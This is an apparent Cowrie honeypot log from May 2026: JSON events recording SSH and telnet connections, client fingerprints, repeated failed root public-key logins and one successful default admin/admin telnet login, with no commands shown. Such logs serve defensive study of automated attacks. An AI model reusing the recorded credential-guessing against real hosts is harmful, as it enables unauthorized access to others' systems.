{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:11:52:be:a4:3c:dc:8b:fe:76:02:95:7f:15:e2:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7p77h0FH35ZumumSwQLTfOutBepiDdKIChGAeqLlECICiSz79QXTxR+Jj+QPzSlfMuYyCi+j+W6e7klgluY0CvDWAS7tbkaxGXGDulF4yPx9P27idjWKxCAPRQ9VqJ2BT8LMo9NK4fq/6TuwQ2dUCoHT77f4Jibm6C5drmSpgWPl+qRf7cDcg59rGtzpPUI2Llmh3HAG9/as8UadDhPohxyoT238s4S5/WqWmrVM3l3j+4dyfZFgECOT18M9mlsSdHFFKtMI6pvUYbeogzFY85h5+9A8OFnjPx7xnLQfT3kHeiqk8HLNbaT/KtKpmIVhclo3X9VF/WbS4nfvFgxAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.652446Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:57:89:d3:3d:24:1c:7b:fa:d4:65:51:d1:7b:d4:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Fli0ZYtAKTdR7UrLqakopAfUls4nl8UdABVZSgCJZ0Z+ik5HsVv8xzPwJVF9Q/TiRCsbDvpAuFQuvfnTRZD+fuNMPD5BuxK99Bk9LF1oCjeSvKW3924VS7XbGUqyKd3ey5ATzJAS89QMGh2l4eCj9dqKOF5Aiy+n7+vu2J7Ws9NW4Vx2YnA6W4s7bbF48q4S+3hQJPU6rOzjrfcfa3QOLzuglmFfUxlyIuy73O76aoGEgczLyd2+Q8EBc7/3m/j47WYAGwRcZVG7h4/dxkVo7Hc8wQrunmCgqH68Plg5dpWIUmT+GOONmhx+7IrszmfNRj4qziqitM/FjTS2fRdEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:57:89:d3:3d:24:1c:7b:fa:d4:65:51:d1:7b:d4:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.735431Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:57:89:d3:3d:24:1c:7b:fa:d4:65:51:d1:7b:d4:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Fli0ZYtAKTdR7UrLqakopAfUls4nl8UdABVZSgCJZ0Z+ik5HsVv8xzPwJVF9Q/TiRCsbDvpAuFQuvfnTRZD+fuNMPD5BuxK99Bk9LF1oCjeSvKW3924VS7XbGUqyKd3ey5ATzJAS89QMGh2l4eCj9dqKOF5Aiy+n7+vu2J7Ws9NW4Vx2YnA6W4s7bbF48q4S+3hQJPU6rOzjrfcfa3QOLzuglmFfUxlyIuy73O76aoGEgczLyd2+Q8EBc7/3m/j47WYAGwRcZVG7h4/dxkVo7Hc8wQrunmCgqH68Plg5dpWIUmT+GOONmhx+7IrszmfNRj4qziqitM/FjTS2fRdEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.738389Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:cc:62:af:d7:c2:1b:80:a5:3b:4a:0e:8a:23:9a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6q5Xnk2536xGRcF/LM3pc/38v0KF1Ya66D11IITcE6iSsyMsc7tldVKxK0la6iqUePc8H1WlroU+j5Yds4R0L86lvqAEi5b5usEYXeHreDoVdbQ3qofhfJW24JQHNwzARFjPntp9BrhfD0IWv/jLQV7VckRMnxuJZ2q+3ct2l+OBz85tnNrsFT6qIHIzs5aY5PVTB4C7Nl1ojIVJrXdD9EKDpsdLKvZY1owLzETP3WOj/8DIGqDBfJYS/3WJ/y3eoUDweJrXWdaZtMgfPACbrGYQFaGJxh7GWUnKQHCc+pJKxvFnvab2jAGTntDYTn8Xjpm5aaUXZ74h/vT36cVmM6SDP/YzZB7cCRHvD7IOYZU293etOiy9FgmXEo7AL/F8DBlWGIiPIIh9zG5bMkg79CI9iE0bVFZ0aPPMtrMooEwEtBmMeDZgMrmo0mxphIxiVCObIH+6VSIdb66EDB2BwG91pD2ijUjaXqBPwoI/QHAO/tW+PwWjWRbRsuXnkj+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:cc:62:af:d7:c2:1b:80:a5:3b:4a:0e:8a:23:9a:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.819968Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:cc:62:af:d7:c2:1b:80:a5:3b:4a:0e:8a:23:9a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6q5Xnk2536xGRcF/LM3pc/38v0KF1Ya66D11IITcE6iSsyMsc7tldVKxK0la6iqUePc8H1WlroU+j5Yds4R0L86lvqAEi5b5usEYXeHreDoVdbQ3qofhfJW24JQHNwzARFjPntp9BrhfD0IWv/jLQV7VckRMnxuJZ2q+3ct2l+OBz85tnNrsFT6qIHIzs5aY5PVTB4C7Nl1ojIVJrXdD9EKDpsdLKvZY1owLzETP3WOj/8DIGqDBfJYS/3WJ/y3eoUDweJrXWdaZtMgfPACbrGYQFaGJxh7GWUnKQHCc+pJKxvFnvab2jAGTntDYTn8Xjpm5aaUXZ74h/vT36cVmM6SDP/YzZB7cCRHvD7IOYZU293etOiy9FgmXEo7AL/F8DBlWGIiPIIh9zG5bMkg79CI9iE0bVFZ0aPPMtrMooEwEtBmMeDZgMrmo0mxphIxiVCObIH+6VSIdb66EDB2BwG91pD2ijUjaXqBPwoI/QHAO/tW+PwWjWRbRsuXnkj+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.823329Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:d8:f2:c0:4d:72:be:80:b7:ad:36:b6:fe:c5:73:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyP/xIicKvBrW5eitNRJHKgnCsoZ9zlKQ1eoa6t3OTxcDOKlNH8oXbJEko3X4KAfgQFznVrVDpjrGlPs4bqfu2ySRlmzsqt/WbL6PAMLo2tT6qnPiDSs2LWAnPzJ4bf2J6CO+kdiYw5q3J/Rqnl3KKDG1xONqqmegI7TC9tZBK+fDv7lyHtbZ5rHSmkS3vWrA5hWv5azhccHmT3BByxoC9g0yKEJi8XctggMhe2eo+peMh24Hrf/EE6ehIqzMtDmCLvkajstOyz7bEoFZLBPpH1JsfelsbBycF/XpVVWr9oLdEbMr+pLW8d6xx/JbiLoug2fSaRR8/pDdEEG5U0FAWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:d8:f2:c0:4d:72:be:80:b7:ad:36:b6:fe:c5:73:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.909406Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:d8:f2:c0:4d:72:be:80:b7:ad:36:b6:fe:c5:73:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyP/xIicKvBrW5eitNRJHKgnCsoZ9zlKQ1eoa6t3OTxcDOKlNH8oXbJEko3X4KAfgQFznVrVDpjrGlPs4bqfu2ySRlmzsqt/WbL6PAMLo2tT6qnPiDSs2LWAnPzJ4bf2J6CO+kdiYw5q3J/Rqnl3KKDG1xONqqmegI7TC9tZBK+fDv7lyHtbZ5rHSmkS3vWrA5hWv5azhccHmT3BByxoC9g0yKEJi8XctggMhe2eo+peMh24Hrf/EE6ehIqzMtDmCLvkajstOyz7bEoFZLBPpH1JsfelsbBycF/XpVVWr9oLdEbMr+pLW8d6xx/JbiLoug2fSaRR8/pDdEEG5U0FAWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.913032Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:f0:bc:f4:1d:39:2f:a6:05:b7:1c:70:2e:eb:bf:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMivs0jGlm1PzpBsV5k6n+jMFpxlnPBtuD0nQWslYVF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fb:f0:bc:f4:1d:39:2f:a6:05:b7:1c:70:2e:eb:bf:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.995442Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:f0:bc:f4:1d:39:2f:a6:05:b7:1c:70:2e:eb:bf:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMivs0jGlm1PzpBsV5k6n+jMFpxlnPBtuD0nQWslYVF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.998799Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:12.080315Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:21.296412Z","src_ip":"47.86.95.62","session":"4a35271495bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40748,"dst_ip":"10.17.0.5","dst_port":22,"session":"0764d6cd77e0","protocol":"ssh","message":"New connection: 47.86.95.62:40748 (10.17.0.5:22) [session: 0764d6cd77e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:33.822668Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:43:07.422310Z","src_ip":"185.211.94.76","session":"842297e2c5af","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:43:07.471761Z","src_ip":"185.211.94.76","session":"842297e2c5af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe4d416d958","protocol":"ssh","message":"New connection: 47.86.95.62:58164 (10.17.0.5:22) [session: 5fe4d416d958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:44:04.229776Z"}
{"eventid":"cowrie.session.closed","duration":"19.0","message":"Connection lost after 19.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:44:23.255608Z","src_ip":"47.86.95.62","session":"5fe4d416d958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:44:33.838323Z","src_ip":"47.86.95.62","session":"0764d6cd77e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47798,"dst_ip":"10.17.0.5","dst_port":22,"session":"b14d3c7fa9d0","protocol":"ssh","message":"New connection: 47.86.95.62:47798 (10.17.0.5:22) [session: b14d3c7fa9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:45:48.175549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:45:49.006355Z","src_ip":"47.86.95.62","session":"b14d3c7fa9d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb997b9993a6","protocol":"ssh","message":"New connection: 47.86.95.62:47992 (10.17.0.5:22) [session: bb997b9993a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:46:29.242028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:46:29.420897Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:08.127647Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.89.156.112","src_port":49116,"dst_ip":"10.17.0.5","dst_port":22,"session":"7be76bfbc02e","protocol":"ssh","message":"New connection: 75.89.156.112:49116 (10.17.0.5:22) [session: 7be76bfbc02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:16.669701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:16.677597Z","src_ip":"75.89.156.112","session":"7be76bfbc02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:17.070467Z","src_ip":"75.89.156.112","session":"7be76bfbc02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:17.131118Z","src_ip":"75.89.156.112","session":"7be76bfbc02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40958,"dst_ip":"10.17.0.5","dst_port":22,"session":"791ba184ff75","protocol":"ssh","message":"New connection: 47.86.95.62:40958 (10.17.0.5:22) [session: 791ba184ff75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:43.625799Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"0990dde1bcd0","protocol":"ssh","message":"New connection: 191.101.33.110:46562 (10.17.0.5:22) [session: 0990dde1bcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.100195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.105746Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.133342Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOAjsaKNMMp0rSdkJ6PCVBiLReONjMMR3slGdhfZsIFYAMwWHurjALGmdTDbOT/r+JCiUzUKOLefEXbdILOr3KZHKuL/gyDWCwTumWxI7DT4yJp+9Vit7L2G0uP6AePsDo9QQGT9pl6r/tPccSVplFxUXB7/fg3E9TM7cQ2ZBtIv+k3dZE7xP8fAKaW6F4q/k65eG/zLBL8GCuSJMeJ6YjE35gI9gAjpYyHZ0euemTe1Cr3GKK81/BWfyQe651GIfOo1pqcNTh3tkXogP7HL1RerUEvy/rgl9IcEIkkpuv/gT0hZ5LtQrNfYrR2bpHAEDxXBXEq6xLPmQRQcnrFqAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.247295Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOAjsaKNMMp0rSdkJ6PCVBiLReONjMMR3slGdhfZsIFYAMwWHurjALGmdTDbOT/r+JCiUzUKOLefEXbdILOr3KZHKuL/gyDWCwTumWxI7DT4yJp+9Vit7L2G0uP6AePsDo9QQGT9pl6r/tPccSVplFxUXB7/fg3E9TM7cQ2ZBtIv+k3dZE7xP8fAKaW6F4q/k65eG/zLBL8GCuSJMeJ6YjE35gI9gAjpYyHZ0euemTe1Cr3GKK81/BWfyQe651GIfOo1pqcNTh3tkXogP7HL1RerUEvy/rgl9IcEIkkpuv/gT0hZ5LtQrNfYrR2bpHAEDxXBXEq6xLPmQRQcnrFqAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.251227Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLncVANkV9NyLeuzhMLusF8JseSYdW/FGEMSRqt0HbsKPKJ/N7BQN9l1/+357+LyA6xNVyewfiS2gXKwh7VaiX5r9wxfxUBTSSZhfO4svQ4bBNU6DQQM/aIckJbU2UXPy5KQkDJ0zDScp3BoSA3dvmp2OfDNaTnQbGXcXjJXwumkOjq78PVQ+XDgDKYq2NCT1C57KteITCBsn4RZpQQOwfUkZtneWXCE/vw4+0BKsCJnpPO0UfHbdu27y7idfKg7RBydgIOVI+44HedN0FPLCVO1Ve7lec4+6jQI4mh/htphQMchQ/bm86SkRknQ6EP3SxvPRSIebzillEel0CXgOKuCAiw6JjdIMuNMToogxxUEkllwRnWLGcE42ZWV3iz1hEa/qNN2VbjDkzDfDe/IopRyYOCqxio1IewSoLP7isCI31TobFKfSTxqOPhvLpBb81mBHP6l44Bson4/+U/GAgY8Ei+KD+iNrhxCW39ASkCZhG2XjpiseQ3H5unuD3zds=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.346213Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLncVANkV9NyLeuzhMLusF8JseSYdW/FGEMSRqt0HbsKPKJ/N7BQN9l1/+357+LyA6xNVyewfiS2gXKwh7VaiX5r9wxfxUBTSSZhfO4svQ4bBNU6DQQM/aIckJbU2UXPy5KQkDJ0zDScp3BoSA3dvmp2OfDNaTnQbGXcXjJXwumkOjq78PVQ+XDgDKYq2NCT1C57KteITCBsn4RZpQQOwfUkZtneWXCE/vw4+0BKsCJnpPO0UfHbdu27y7idfKg7RBydgIOVI+44HedN0FPLCVO1Ve7lec4+6jQI4mh/htphQMchQ/bm86SkRknQ6EP3SxvPRSIebzillEel0CXgOKuCAiw6JjdIMuNMToogxxUEkllwRnWLGcE42ZWV3iz1hEa/qNN2VbjDkzDfDe/IopRyYOCqxio1IewSoLP7isCI31TobFKfSTxqOPhvLpBb81mBHP6l44Bson4/+U/GAgY8Ei+KD+iNrhxCW39ASkCZhG2XjpiseQ3H5unuD3zds=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.350306Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
